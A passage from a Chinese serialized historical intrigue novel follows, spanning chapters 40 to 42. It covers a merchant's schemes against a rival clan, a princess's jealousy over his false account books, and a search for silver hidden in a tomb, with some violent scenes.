沈丘染震住片刻,他想办法求朝廷明令禁止的地藏蕨胶,竟然在眼皮子底下泛滥!还是为官的知法犯法!
姬有德的副手赶紧一人扛下所有罪责:“这是关押在康凌郡大牢里的蛮子的,是我搜刮到带回京的。”
沈丘染逼视姬有德,怒火欲喷:“我他娘的信吗?”
姬有德轻佻笑了一下。
沈丘染掏出手铐,“咔嚓”铐住副手:“好,既然你去过康凌郡大牢?那你是兵,我就有权带你回军营法办!看我怎么让你主动交代出背后的主谋!”
就在沈丘染转身时,姬有德抽过副手腰间的刀,一刀挥下去。
“咚”的一声,姬有德副手的脑袋落在沈丘染脚下,他脚底板登时一阵暖热,鲜血灌进了靴子。
姬有德笑眯眯看着脸色苍白的沈丘染:“不劳沈兄军法处置,就地家法。”
朝廷官员在朝廷官员面前杀人!目无王法,令人发指!
沈丘染粗声粗气:“本来陈奉邦供出暗杀姜家的人是你,我还以为是他狗急跳墙乱咬。现在看来,就算你和姜家无冤无仇,我都信你做得出来!”
姬有德一脸无辜:“暗杀姜凌嚣?那不会,他浑身是迷,我正对他感兴趣呢。”
感兴趣是什么意思,在他面前挑衅暗杀没成功还要继续加害吗?太猖狂了!沈丘染冲动之下拔刀,要为三哥出头。
姬家打手从四面八方聚拢过来,准备明目张胆的以多欺少,姬有德最后警告:“五哥,好汉不吃眼前亏,我尊重你是个上过战场的汉子,所以好心劝你。”
“你他大爷的没有人心!你这个魔鬼!”
双方正要真刀真枪杀起来,副官韩垠闯进门,一把抱住沈丘染的腰,死命往后拽:“将军别冲动!”
“他在我面前杀人,我要把他就地正法,再朝皇上认罪!”
韩垠使劲扯住沈丘染胳膊,急切:“您是将军,管的是军营,民间命案有地方衙门,皇上最忌讳官员越俎代庖!”
姬有德随手抹掉刀上的血迹,神态松弛,像擦刚切了西瓜的刀,手下们已开始有序清理地上的死尸与血迹。行云流水,目无军官。
韩垠死死拖着沈丘染出门,沈丘染丢下毒誓:“姬有德,我跟你死磕到底!今天打你只是个开始!”
沈丘染一离开,水缸盖被举起来,小炸药从水缸里站起,拼命喘气。
幸好熬胶用水,舀过几瓢,水面下降。
不然他钻进水缸,水面上升,一定没过口鼻,压根憋不了多久的气,一定暴露在沈丘染面前,牵连出姜凌嚣,后果不堪设想!
“哗啦”,姬有德一把捞出小炸药,将他撇在地上。
小炸药正好骑到砍下的人头上,吓得尖叫:“啊!啊!啊——!!!”
姬有德蹲下,跟摸狗似的安抚小炸药,“嘘,嘘……”
小炸药终于不叫了,姬有德微笑看着他,声音跟往常那样憨厚、轻柔:“地藏蕨毁了,你明天再来帮我炼丹,好吗?”
“明天?沈将军已经发现了地藏蕨,风险太大,不行!”
姬有德摸头的手顿住,猛地钳住小炸药脖子,一把将他从屋内甩出屋外,打开狗笼。
恶狗齐齐扑向小炸药。
“不——!”小炸药抱住头,趴在地上。
恶狗发出凶猛的吞咽声,“咔嚓咔嚓”连骨头也咬碎。
小炸药感觉自己好像没死?
他惊魂未定抬头——恶狗围着一副牛骨架,吃的肚圆满足,在狗撕咬他前,姬有德甩出了一整头剥了皮的血牛。
恶狗饕餮满足,没了血肉支撑的牛架子“轰”的坍塌,骨头散了一地。
姬有德捡起一根牛骨头,抵起小炸药的下巴:
“边疆封锁,地藏蕨无法入境,玄虎堂早已无丹可造,你整天闲的泡在小酒馆,就算消失几天也不会有人注意你。敢不从,下次剥皮切块喂狗的就是你。”
刚踏出玄龙堂后院门,沈丘染就发现战马不见了,拴马桩上只剩一根挣断的缰绳,他责怪:“让你在外面看着马,你怎么进去了?”
韩垠委屈:“它突然发了疯的挣扎,我安抚不了它,所以找您前来制服。”
两人灰头土脸四处找马。
隔着一条巷子的树梢上,耿正收起惊走沈丘染战马的弹弓。
若不是惊了战马,韩垠及时进门拖走沈丘染,否则沈丘染独自一人在姬家,非吃亏不可。
过了一会儿,又见小炸药鬼鬼祟祟出门,生怕撞见沈丘染。
直至小炸药也安全离开,耿正才跳下树撤退,深藏功名。
玄龙堂炼丹房的血迹,只剩最后一步清洗,几大捅水泼到地面,血水浸入泥土。
泥土之下,正是姬家地下酒窖,小虎和狗在里面爬上爬下,掀了几坛梅酒盖子,掏里面的青梅啃,浑然不知地上已发生了命案。
姬有德洗干净手上血迹,手上擦了玫瑰花油,香喷喷的来接小虎出去。
“酒窖一点都不好玩,你个混蛋,怎么把我锁里面了!
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”小虎大发脾气,出了酒窖。
“我没锁,肯定是管家,一会儿我骂他。”姬有德跟在她身后,好声好气哄着。
没走几步,小虎觉得头上有点轻,簪子掉了,她着急:“准是掉酒窖里了!必须找回来,姜凌嚣送我的。”
“地形我熟,一个人找得快。”姬有德独自返回酒窖。
没走几步,姬有德就踩到了簪子,捡起来,在火把下随意一照,他突然笑喷了。
秋天御花园赏菊那天,他进宫孝敬太后,奉上一只紫金凤簪,太后当场赏给了竞天,竞天一直戴着,如今却到了姜凌嚣女人的头上。
结合上次,他察觉到竞天有了喜欢的人,不难猜出她喜欢的是谁。
姬有德走出酒窖,朝小虎摇摇发簪,礼貌恳求:“找到了,我帮你插在头上,好吗?”
小虎手上满是青梅汁,嫌弄黏了头发,便同意了。
姬有德帮她理了理碎发,淳朴一笑:“今天让你不开心了,作为赔罪,我带你去个好玩的地方。”
“哪儿?”她就喜欢玩。
“皇宫。”
“有什么好玩的?”
“奇珍异兽,还有好戏看。”姬有德阴笑。
小虎来了兴致,迫不及待,“什么时候去?”
“明天,千万别忘记戴上你这个漂亮的簪子。”
玄虎堂账房,“砰”的一声巨响,小炸药浑身是血撞门进来,“噗通”跪到姜凌嚣脚下。
耿正站在姜凌嚣身边,两人看着浑身是血的小炸药,毫无诧异,出奇得平静。
小炸药顾不上细思,将姬有德诓骗、威胁他熬胶的经过,一五一十禀告给姜凌嚣,请求从轻发落,千万不要牵扯到瞎老娘。
时值午后,冬阳偏西,东厢账房东窗背光,姜凌嚣面朝西,坐在账台前,小炸药完全看不到他的表情,他沉默,斜洒在地的冬阳也凝固了。
小炸药只好多多交代,生怕漏过任何一丝为自己开脱的可能:“姬有德太能装了,太残忍了!他用剥皮威胁,我实在没有办法······其实只炼了地藏蕨胶,还没到炼丹的步骤,毕竟你五弟突然打进来······”
“沈丘染去做什么?”姜凌嚣终于开口。
“……好像姬有德虐待了俘虏?对了,争吵时,他说姬有德是杀你们姜家的凶手!”
“你再说一遍。”
姜凌嚣缓缓站起来,西窗的阳光照在他脸上,克制压抑的杀机从表情纹里刺破出来,他的狠,比会剥皮、挖髌骨的姬有德更隐蔽。
小炸药感到惊悚,有点嗑吧:“沈丘染说姬有德是暗杀姜家的凶手,他从······从陈家什么人那里审出来的。”
“陈奉邦?”
“对对对,就是这个名字!”
原来沈丘染早就审出来了,却没告诉他。
姜凌嚣利眼生毒,咬牙切齿,沉吟半天后,决定:“你就按照姬有德的要求,明日再为他炼丹。”
小炸药以为他在说气话:“可是我们的配方会泄露······”
姜凌嚣不语,脸色黑沉,捏着算盘珠子的手狠狠一捻,桌面落了一层粉屑。
珠盘“砰”的炸裂,算盘珠子崩了小炸药一脸,噼里啪啦落到地上,“哒哒哒”滚出不绝于耳的回音,像阴恻恻的与人没完。
40. 情敌
宫外的信想入宫,困难重重。宫内往外递信,更是难上难。
因前段时间宫内闹疫,太医院和后宫走动频繁了些,有个先帝的太妃与看诊的太医惹了出不上台面的事情。
现在宫中加强禁令,召唤太医必须有宫女太监在场陪诊,不得独自会面。
竞安宫再召阮太医,几乎所有太医问话都由宫女代答,竞天公主再多余插话,显得就不那么端庄了。
许是沉默就医让竞天感到无聊,从阮太医落座,她手里就把玩着两枚骰子。
一枚个头大的,上面点数也大,一枚个头小的,点数也小。
整个会诊过程,除了问安、道别的礼数,阮太医没和竞天公主说上一句话。
但回到家,阮太医将竞天公主所掷骰子点数,誊在信笺,然后派人给姜凌嚣送去。
再由姜凌嚣自己对照《左传》,一句句译出。
看到译文,姜凌嚣眉头紧锁。
一封又一封,如此大费周章,铤而走险,无非是宫里的腊梅开花了,画眉胖了等等,琐碎无聊。
他虽清楚竞天什么意思,但妾有情,郎无意。
不过,他并没有忘记竞天公主的恩情,想做个了断。
捐过十万两兵饷后,玄虎堂除了每日限量销售的进账,早已坐吃山空。
为了报答竞天,姜凌嚣把玄虎堂和部分股份抵押了出去,兑出二十万两银票,托阮太医偷送进宫。
本来,毫无音信时,竞天公主只作姜凌嚣谨慎,怕任何回音都成为败露的把柄。
二十万两银票的回礼,是个结结实实的耳光,打碎了她的骄傲与自尊。
利用完了她,将她拉下了水,害她沾上两条人命,就一甩衣袖,将她抛弃?
她一个公主,难道是为了挣这些银子,去做了杀手吗?
无视她的联姻请求,更将她的一片深情弄成了羞辱的笑话,她勃然大怒,怀恨在心。
姬有德假借进宫探望皇姑母太后,成功将小虎带进宫。
太后怎会不知亲侄儿想做驸马的意愿,短暂会见过后,便让他去竞安宫拜访。
竞天公主本不愿见姬有德,但驳不过太后面子,只得捏着鼻子答应。
宫女出去传令:“传姬有德进见。”
姬有德带着小虎进殿,竞天冷脸逗着画眉,头也不抬。
小虎一眼瞅见金丝鸟笼,大叫:“谁给你的鸟?”
太监呵斥:“放肆!跪下!”
小虎抓起桌上果盘里的一个苹果,狠狠砸向太监。
“咚”,太监被击倒,宫女惊叫:“侍卫!”
侍卫持剑进殿,围住小虎,她却一屁股坐到桌上啃苹果,踩着竞天的软凳。
竞天:“退下。”
侍卫剑指小虎:“可是公主,此女无礼······”
“退下!”竞天公主连宫女和太监也喝退,只留姬有德和小虎在殿。
未曾正眼相看,竞天余光里早就捕捉到了小虎头上的发簪,她继续逗着鸟,不经意似的开口:“谁给你的簪子?”
“我男人。”小虎得意地晃晃脑袋,发簪不停闪烁着金光,像数不清的得意,晃的竞天公主眼睛发酸,发痛。
呵,她男人,得亲密到什么程度,才能这样称呼······
竞天公主转头,仔细打量这个狂放不羁的女人,莹润剔透,如晨露樱桃。
她心底冷哼一声,男人真是······连看起来一本正经的姜凌嚣,都抵不住这般诱惑。
小虎瞪眼盯着竞天,公主似夜悬胧月,高高在上中缱绻着神秘。
不知为何,她有种道不明的感觉,未来会和公主大有纠缠。
姬有德手指敲在小虎身上,使个眼色。
小虎受了挑唆,理直气壮再问竞天:“你还没说你的鸟笼哪儿来的?”
竞天端起鸟笼,仪态万方踱到小虎跟前,镇静大气:“你连问本宫两次,可见实在是喜欢,赏你了。”
“我有个一模一样的。”小虎扔掉啃了一半的苹果,开始吃竞天的点心。
竞天蔑笑:“笼子一样,鸟也一样吗?”
小虎仔细瞧瞧画眉,指来指去:“嘴巴不太一样,羽毛颜色有点差别。我有两只呢,都比你的好看。”
姬有德偷笑。
还以为除却用来cang毒,这鸟笼和鸟多少带着几分情愫,竟不过是姜凌嚣哄女人的千篇一律。
不,连一律都算不上,他对眼前这个女人是哄,买只鸟还要比她的好,还要成双成对。
竞天公主心一沉,把鸟笼往旁边一放,腾出双手,朝小虎伸去。
姬有德以为要开战,忙站到一边看好戏。
竞天公主却只是拔下小虎头上的簪子,又替她找个合适的地方插紧,细声慢语:“这簪子,本宫也有根一模一样的。”
小虎一愣,扔了点心起身:“我看看。”
竞天轻拉着小虎,推到铜镜前,向镜中一指,“在这里。”
小虎深觉不妙,大眼珠一翻:“什么意思?你的就是我的?我们一样的东西怎么这么多?为什么?”
竞天公主眉梢轻挑:“因为送我们东西的,是同一个男人呀。”
小虎看着镜子,嘿嘿一笑:“那他挺大方的。”
姬有德:“……”
五官挤出“这也太缺心眼了”的表情。
情敌和自己不是一个水准,竞天顿觉无趣,懒得再与她周旋。
姬有德领小虎刚走到宫门,竞天公主的步辇追来。
宫女提着那只金丝鸟笼送给小虎:“公主的赏赐,别忘记。”
小虎笑嘻嘻收下:“正好我有两个了。”
姬有德同情地摸摸缺心眼的脑袋,叹气:“可怜的傻孩子。”
竞天不下辇,命姬有德上前领赏。
“还有我的?”姬有德笑眯眯凑近轿辇,还没站稳,“啪”的一声,照脸挨了一巴掌,响声震得戍卫都虎躯一震。
姬有德懵了片刻,捂着脸:“我招你惹你了?”
设局让和姜凌嚣有瓜葛的两个女人见面,摆明了给她暗中扎刺,那她就当众给他下脸。
竞天冷哼一声,步辇立刻掉头而去。
出了宫,姬有德非要送小虎回家,一直送到客栈后巷,小虎下车后,主动牵住姬有德的手,“下车。”
她第一次这样热情,姬有德迫不及待。
她拉着他,避开车夫,特意找个无人的地方,姬有德浑身燥热起来,声音有点紧促:“你要干嘛呀?”
“躺墙上。”小虎噘嘴指指墙。
姬有德盯着她红红的嘴唇,咽了咽口水,听话地靠到墙上,她又抓起他双臂,也贴到墙上。
他猜,她吃了姜凌嚣的醋,所以要跟别的男人好,报复姓姜的。
“你喜欢这样?”他变得十分害羞,浑身松弛下来,乖乖接受她的摆布。
小虎:“闭眼。”
直接在外面,还是女人主动,这也太刺激了······姬有德舔了舔唇,闭上眼,胸口起伏逐渐强烈,等待她的凌辱。
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“砰——”
“啊——!!!”
“砰砰砰——”
“啊——啊——啊!!!”
小虎攥着拳头,狠狠砸了姬有德“人中”三拳。
他痛得汗如雨下,脸色煞白,捂紧裆。
“让你不安好心带我进宫!”
姬有德气若游丝:“你不傻啊?”
“冲这句话,你这颗狗头先记血债薄上了。”小虎天真的大眼睛里滋生出刺骨的寒意。
两个女人都没中姬有德的计当面闹起来,但都在心底对姜凌嚣怒火中烧,伺机报复。
要为姬有德炼丹前,白眉老太塞给小炸药一张新的丹料方子。
小炸药扫了一眼,跟玄虎丹的方子不太一样。
尤其地藏蕨里加半夏和朱砂,起到完全相反的作用,还有一大堆他不熟悉的药材,不知道最终成丹会如何。
他不放心:“我不能用这方子炼丹,如果被姬有德发现不对劲,你们不知道他的残忍!”
耿正简洁:“照做。”
“谁能保证这方子不出问题?”小炸药抖着方子质问。
白眉老太递出一粒药丸:“玄龙丹和玄虎丹名字不一样,肯定配方也不一样。这药丸,一定要提前加在水里,无论炼制地藏蕨还是丹料,都要用到它。”
小炸药:“否则呢?”
“否则无法成丹。”
小炸药激动:“你们知不知道姬有德豢养了很多打手,我炼丹的时候他们都围观着!我怎么作弊!”
白眉老太耸了下白眉,语气轻飘飘的:“那是你的事。”
“喂!姬有德挖了上千战俘的膝盖骨,随手就砍了他副官的脑袋,威胁拿我去喂狗!”
小炸药暴跳如雷,扔了方子,“我要见东家!是他的主意吗?他要对付对家,难道要用我的命冒险?”
耿正翻个白眼:“在你的任务没完成前,东家不会见你。”
“他为什么不见我?是打算真让我为他卖命吗?”小炸药发了疯,开门要去找姜凌嚣。
耿正揪住小炸药的衣领,将他提到墙上抵住,警告:
“从你踏上这条路的最初,就该清楚这是条卖命路,不是只有此刻才命悬一线,是时时刻刻。你和你娘摆脱了饥寒交迫,过上了富足日子,难道以为是平白无故的吗?”
小炸药这才恍然大悟,他和老娘从姜凌嚣这里得到的一切优待,都是有代价的,代价就是脑袋拴在了裤腰带上。
从前突然消失的刘坤,也曾拿过优厚的待遇。只不过,现在轮到了自己。
耿正三角眼中布满红血丝,疲惫中泄露出一丝丝带有人味的真诚:
“每个人都有自己的事忙,就有各自的难题要去面对,你现在最紧要的不是发脾气,而是背熟方子,想尽一切办法让自己做手脚的时候露不出破绽。现在,捡起方子,做好你分内的事情。”
“噗通”,耿正松了手,出门。
小炸药摔在地上,怔了片刻,爬起来赶紧去找老娘,准备带她连夜出逃京城,再也不回来了。
哪知,老娘房前被死鱼眼牢牢把控着。
无论小炸药怎样哀求,死鱼眼都像以往那样,从不开口讲话,冷冷翻着一动不动的死鱼眼,无动于衷。
原来,姜凌嚣是个为达目的丝毫不顾及任何情分的人,拿唯一的亲人做人质,小炸药心里恨透了他。
为查找姬家谋害姜家的证据,姜凌嚣忙得焦头烂额,尚不知外忧未决,内患已埋下三个,随时将他炸个粉身碎骨。
41. 掘巢
天光微熙,枕在床外侧的姜凌嚣的眼皮随之翕动。
身侧的人还在打着甜鼾,他缓缓抽出被小虎压着的胳膊,轻轻吻了下她额头,掖好被子,到外面洗漱过后,就到玄虎堂对昨天的账目。
他前脚踏出客栈,小虎和小炸药先后溜了出来,偷偷跑向不同的方向。
刚对完账,孙大可匆匆进了账房,“东家,宫里头来人了。”
太监趾高气昂进门,宣朱帝口谕,让姜凌嚣带着玄虎堂自开业以来的账本进宫盘账,即刻启程。
吕富全将太监打发到客房,好茶伺候,奉上厚厚的孝敬,好腾出给姜凌嚣换账本的时间。
从开业之初,姜凌嚣就提前备下了一手,做了两套账,现在派上了用场。
账房担忧:“东家,怎会突然查账?是不是走漏了账目风声?难道二爷又从中作梗了?”
别的商户生怕被朝廷惦记上,避之不及,姜凌嚣巴不得和朝廷打得火热,好深入其中。
现已知晓姬家嫌疑最大,正愁没途径挖出证据,机会送上门,他求之不得。
账房是个勤恳的老实人,姜凌嚣不愿他卷进自己背后那些是非,拍拍得力干将的肩膀,安慰:
“放宽心,京城里但凡挣钱的商户,都得被这么‘照顾’一番,不然赈灾、兵饷的钱哪里来。天塌了有我顶着,你只管拿副账本来。”
半个时辰后,姜凌嚣拉着一箱账本,进了宫,来到镇和殿。
殿上除了朱帝,竟然还站着一个女人。
因她很年轻,朱帝又没成亲,不能是后是妃。
姜凌嚣恍然想起来这是竞天公主,他有点意外,她怎么会在场,记得她和朱帝不合的。
竞天站在殿上看他,眼中带着微微的藐视和敌意,姜凌嚣心头掠过隐隐的不安。
朱帝打了个雷响的哈欠,高声回荡在殿内:“姜草民,你还记得欠朕四十万两的账吗?”
硬摊到头上的兵饷,是人为的灾难,皇帝并不事生产,只因出身坐到了这个位置,所以高高在上的理所当然,姜凌嚣心底冷笑,嘴上却谦卑:
“草民记得,但自从缴纳过十万两之后,遭遇运输线路中断,许多原料无法进京,玄虎丹早已歇炉,柜上尚不丰盈。”
“哼,就知道你得找借口,小嘴儿叭叭的,所以让你带了账本来。”
陶公公立刻拿过箱子里的一本账,奉给朱帝。
“怎么只有不到两千两银子?”账本琐碎,朱帝看不懂,胡乱翻了翻,丢给竞天:“你去查看仔细!”
竞天缓缓下了台阶,她今日打扮格外隆重,拖长的裙摆像只孔雀的尾巴,路过跪着的姜凌嚣时,正好扫过他撑在地上的十指。
裙摆上绣着花,凸起的丝线刮着他指上皮肤,朱帝没下令起身,他只能一动不动伏在那里,十指任由竞天的裙摆缠绕。
他感到一种被摆布。
竞天公主捡出几本账本,细细翻阅。
账目清晰,事无巨细。营业半年,除却上次缴纳的十万兵饷,截至目前,账上不足两千两结余,并没有给她的二十万两记录。
这么大的数目,但流水从头到尾都毫无破绽。
竞天暗自分析,这是套假账,姜凌嚣还有一套真的账本。
年关将至,国库盘点亏损严重,朱帝正愁,是她为了报复姜凌嚣,趁机拿镇压西北骚乱大做文章,挑唆朱帝向姜凌嚣索要未缴兵饷。
这是毫无准备的清剿,现做假账是来不及的。
除非——在开门迎客有第一笔交易前,就在着手准备两套账本!
如此处心积虑,大费周章,可见姜凌嚣的心思并非只是经商,支使她暗杀于克明也并非只是参与了买卖兵器,一定另有阴谋。
这个男人看起来斯文儒雅,面善真诚,皮下却城府深远,不知在打着什么算盘,令人心生恐惧同时又格外吸引对他的好奇。
竞天走神,翻账本的手顿住半天。
朱帝耐不住性子,喊了一声竞天:“你上冻了?真就剩了两千两银子,还是他的账有问题?”
姜凌嚣看向竞天。
一别数月了,虽中间一起合谋杀了人,创下那么大秘密,但始终高墙相隔,不得见面。
难寻棋逢对手,她对他爱恨交织,仅是与他四目相触,她便爱大过恨,心动怦然。
面对暴君的质疑,他的眼神里毫无任何乞求她不要揭穿,只有平静,无限的平静,连丝毫的情绪都不准备与她分享。
竞天公主与他眼神僵持许久,故意说了句歧义:“皇帝说得真准。”
“他的账真有问题?”朱帝眼前一亮,忙起身。
姜凌嚣眸光一敛,喉结高高吊起。
竞天公主暗自得意,他不为她情动,但能因她而不安,也是一种牵动。
毁了他的平静,故意让他提心吊胆够了,竞天才不疾不徐纠正朱帝:“我说皇帝说得准,是指您说他就剩了两千两银子是真的。”
姜凌嚣的喉结落回长颈,眸光里的紧张破散,松懈出一丝类似柔弱的东西。竞天仅瞥了一眼,心疼就不争气的四处滋生。
“这么点钱,朝廷不过年了吗?晦气!竞天,你再好好查查他!”
没搞到钱,朱帝负气甩袖出殿,寻乐去了,陶公公忙跟出去。
殿内只剩竞天公主和姜凌嚣。
公主尚在,未赐平身,姜凌嚣自己站起来,一把夺走竞天手里的账本,扔回箱子。
他就是这样大胆,在她面前从来不守规矩,抢帕子,抢账本,僭越尊卑。
竞天胸口微微起伏,口吻公事公办:“皇帝叫我查你的账,我还没查完。”
“公主,你早已看穿是假账,还要查什么?查出自己是从犯,收受主谋贿赂,让皇帝处置吗?”
他睨着她,既无责备她的构陷,也不感激她没戳穿账目,对她无情无绪,不起波澜。
“你······”竞天冷笑,“你看起来文质彬彬,想不到真够伶牙俐齿的。”
“公主费劲把我折腾进宫,大费周章,就是为了当面赞美在下?那真谢谢。”姜凌嚣语气轻佻。
竞天先败下阵来,黯然:“原来,你已有别的女人。”
忽然转了话锋,还在应战的姜凌嚣怔了一下,缄默,远离,继续收拾箱子。
午间阳光从两人身后的殿门射进来,竞天公主的影子落在箱子盖上,影子微微发抖,步摇颤颤欲坠。
姜凌
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嚣瞥见,声音疏离:“公主尊贵,不必为凡人伤心。公主的恩情,我会继续报答,直到我离世。”
“怎样报答?每年持续不断的给银子吗?”
“是。”他不回头。
她信他做得到,可——
“可我不是你雇佣的杀手啊。”竞天情感决堤:“若这铁铮铮的承诺,是为儿女情长······”
“公主,别这样。”他背着身,轻声。
竞天咬住唇:“你也拖她下水了吗?”
他摇摇头,义正言辞:“从无,她幼稚懵懂,对我所做的事一无所知!我对我做的任何事,承担全部的责任,与她毫无瓜葛。”
竞天惨笑:“你这是为她极力撇清罪责,怕我日后会告发她?还是你真从未舍得拉她水,维持着她的糊涂天真?”
“啪”的一声,箱子盖合上,将竞天公主的影子拍落到地上,干脆无情,像他利用完她后的态度。
竞天公主被震醒了,收起失态,语调恢复往日的清傲:“你我恩怨缠杀,今日只是个开始。”
时值小年,年味渐浓,闹市口街采购的百姓人来人往,熙熙攘攘。
巷子口有个象棋摊,阵阵喝彩声传来,沈戚风跳下马车,耀武扬威轰走正下棋的一个人,占了位子,酣畅厮杀。
行至僵局,双方举棋不定,均不敢轻举妄动,围观的人越来越多,小虎也凑过来,拉沈戚风袖子:“哎!你的车······”
沈戚风正想出一招,举起刻着红“车”的象棋,洋洋得意教训:“缺心眼的,‘车’在象棋里叫‘居’!”
小虎揣起袖子,观棋不语。
“居”杀了对方的“象”,沈戚风大获全胜,围观的人嗷嗷拍手叫好,他准备收手起身。
小虎摁住沈戚风:“再赢一局!”
沈戚风架不住夸,烧烧包包又下两局,结果输了两局,导致兴致大失,离席,准备上车回家。
马车早没了,只留下一大泡马粪。
沈戚风急眼:“操,我车呢?”
小虎跑来,幸灾乐祸:“一个时辰前我就想告诉你,有几个毛贼要偷你的‘居’,你骂我缺心眼,我就留着心眼子看你下‘居’了。”
围观的人哈哈大笑。
沈戚风挽起袖子要打人:“我非替老三好好教训教训你。”
“不如你我联手,好好教训教训姜凌嚣。”
沈戚风转了下眼珠,不信:“你存的什么鬼心思?还算计他?你俩好得跟一个蛋似的。”
小虎冷哼:“你不就整天惦记他的银子嘛,喝了好几回‘大酱汤’都没找到他银子藏哪儿了,我可以带你去。”
沈戚风眼前一亮,来了精神:“走!”
荒郊野岭,越走越荒,小虎只管大步往前。
沈戚风环视一圈,目之所及全是灰秃秃的冻土,衰草连个人影也遮不住,倒不会有人能埋伏,但脚步谨慎起来:“喂,你是不是耍我?要暗算我?”
“你怕了?”小虎咯咯笑,跑到一个墓前停住。
“切,我要是怕你一个毛丫头,我还能来?”
已经来了,沈戚风跟过去,打量一下墓碑上刻的字,“这,这不是老三的墓吗?”
42. 风水轮流转
墓并非坟包,而是像间矮小的土地庙,半人高,墓碑后有个小门,可躬身而入。
旁边曾经守灵的棚子只剩一副竹架,做了晾衣架,搭了几件女式粗布衣裳和两块包袱在晒。
沈戚风捡了根木棍,拨拨衣服,惊讶:“衣服虽破,但很干净,这有人住?还是女鬼?”
小虎已钻进墓口,探出头:“是有鬼,你个胆小鬼。”
沈戚风不甘示弱,随后钻进墓口。
墓地里黑洞洞的,什么都看不见,但很暖和,跟外面的寒冷形成强烈的对比,像春天。
沈戚风跟着小虎的脚步,摸索往前。
“哗啦”,他踢到一堆石子,扑倒在上面,爬起来赶紧继续走。
突然,亮起光,两个披头散发的女鬼伸着手,前来索命,鬼哭狼嚎:“沈戚风,拿命来!”
沈戚风吓的鬼哭狼嚎,逃窜出墓地。
小虎拍拍那俩“女鬼”:“他跑了,别装了。”
两“女鬼”拨开头发,露出精干的面庞,熄灭化银炉的火:
“沈戚风找到了藏银地,即使这次吓跑了,肯定会带兵再来,这个地方废了,得赶紧告诉东家。”
沈戚风嘴里发出“呜呜”的惊吓声,屁滚尿流爬出墓口,发现墓后冒着青烟。
他找过去,看到一根烟囱直插墓地,外部泥巴风化严重,应该存在了有些日子了。
“墓地插烟囱?烧什么?”
沈戚风嘀咕着拍拍身上的土,发现自己手上、衣裳、鞋底全是黑灰。
什么情况?
仔细想了想,是刚才扑倒的那堆不是石子!是炭!
墓里藏炭,藏银子……
早就听闻姜凌嚣进贡给朱帝的银子,化成了整齐的银条,一般票号压根没那个手笔,难道……就是在这里炼的?!
沈戚风悄悄绕到墓前的棚子架前,拽下女人的衣裳和两块包袱思索半天,总觉得在哪里见过······
玄虎堂那两个洗衣裳的女人!
襁褓是假的,用来装银子的!
好哇,姜凌嚣的大秘密终于被破解了!
沈戚风欣喜若狂,连忙跑回去搬救兵。
赶上姬无心明日七十大寿,京中各处官兵全都忙着筹备拜寿,无兵可调。
沈戚风又跑去找沈丘染,二话不说讲其拉上马车,马不停蹄赶往荒郊。
“老三这个贼奸,银子藏在墓地,找两个妇女守着,还在里面化银条!”
“二哥,你年纪不小了,也换了好差事,能不能踏实干点正事?三哥的钱是你的吗,你就整天惦记?早知道你又要弄不光彩,我才不上你的车!”
沈丘染要跳车,被沈戚风死死抱住,赖着挟着到了墓地,“老五,老三的钱不正当!”
“你的钱正当?你安什么贼心我能不知道?你要不是我哥,我早拿军棍给你归置归置了,真的。”
“快点跟上,这里有个小门。”沈戚风将沈丘染拖到墓前,他在前带路,“噗哧”一脚踩在软乎乎上。
墓口,拉了一大泡屎。
沈丘染恶心地掉头就走。
“这么一大坨,绝对故意的!”沈戚风愣了一下,拖住沈丘染。
沈丘染恶心的大叫:“松开我!我不走,只要你别碰我!”
沈戚风松开他,在枯草上蹭鞋,指着墓后:“你去看,那里有根烟囱,用来化银子的,绝对直连墓地里的锅炉。”
那些进贡的工整银条,沈丘染见识过,并非各钱庄票号的手法,他开始觉得沈戚风的话有点道理,狐疑着上前查看。
俩人围着整个墓找了好几圈,压根不见烟囱。
沈戚风跳脚:“早上还有呢,一定是砸了!前面棚子架上晾着的衣裳也收了!没有做贼,他心虚什么!”
沈丘染在墓口一一摸查,终于摸到一个缺口,拽出塞着的枯草,掏出个洞,果然连着墓地下边,真像个烟道。
“二哥,你打着火把下墓,看看里面什么情况。”
“我害怕,你跟我一起下去。”
“你不下去我就走,反正我也不好奇,是你非拉我来的。”
沈戚风无法,捏着鼻子,跨过墓口那泡屎,心惊胆战进了墓中才反应过来:“你不好奇让我下来做什么?你还是好奇!”
但已经下来了,他索性壮着胆,继续往里。
“二哥。”一个微弱的男声从头顶传来。
沈戚风吓了一大跳:“谁?”
“是我!”沈丘染对着砸烂的烟囱口喊话,回音嗡嗡发闷,“你往这边走走照亮,我看看下面情况。”
沈戚风抚抚心口,大胆站到烟囱下面,举着火把照亮。
他头顶上的洞口,闪着沈丘染炯炯有神的一只眼,转着观察墓内。
除了中间的棺材还在,四周空荡荡的,毫无炼银的器材和原料,其中一个墓角处被凿了几方土,显得空间杂乱。
并无冶炼痕迹。
沈丘染转身,看到二哥说的晾衣架,他伸手摸了摸横着的竹竿。
沈戚风连滚带爬出了墓,一紧张,忘记墓口的屎,又踩了一脚。
他气急败坏:“你怎么离开烟囱口也不说一声,我在下面喊了你两声你都不应,吓死我了!”
沈丘染递手指过来,满手灰,“你看清了,这是日积月累的灰尘。如果是你说的早上还晾衣服,就不会有灰。二哥,别再胡闹了。”
沈戚风抓狂:“这就是老三的贼歼之处!他都派人做好了手脚!不然那泡屎哪儿来的?那可是没风干的!”
“下面被挖了土方,许是盗墓贼弄的。当初下葬三哥替身,咱家根本没给他陪葬值钱的东西,盗墓贼一无所获,生气报复也是有的。难道你没听说过贼不走空吗?”
沈戚风一拍大腿:“土方那堆着炭,放过炭的地方,肯定是黑的,他挖了土方来清理痕迹!你现在就跟我下去,查查有没有煤灰!”
“为了钱,没救了你。”
沈丘染拂袖上车,驾马跑了,丢下无车的沈戚风自己跑回城。
玄龙堂,围着十几个打手,凶神恶煞盯着小炸药炼丹。
小炸药手心里捏着药丸,去拿水瓢,准备在舀水时投进水中。
哪知,手刚要触到水瓢,就有人抢先拿起水瓢,冷冷问:“舀多少?”
小炸药吞咽几下唾液,喉头还是发干:“两瓢。”
“哗啦”,一瓢水代劳舀进搅拌盆,摆明了防止小炸药做手脚。
一旦没能投药,炼丹必将失败,他能当场死在姬有德手下,根本就没有多余的时间拖延。
小炸药端着搅拌盆去接第二瓢水,故意失手,把瓢蹭掉,水洒了一地,他大声抱怨:“会不会干活?不行我自己来。”
“你是不是找死?”打手揪起小炸药衣领,要揍他。
小炸药立刻服软:“对不住,我自己来,不劳您驾。”
果然,打手不再愿意插手代劳,摔着皮鞭抽小炸药:“他娘的,就欠,干活的下贱命!”
事事都要小炸药亲为,他神不知鬼不觉将药丸投进水缸。
截至午间,第一炉丹出品。
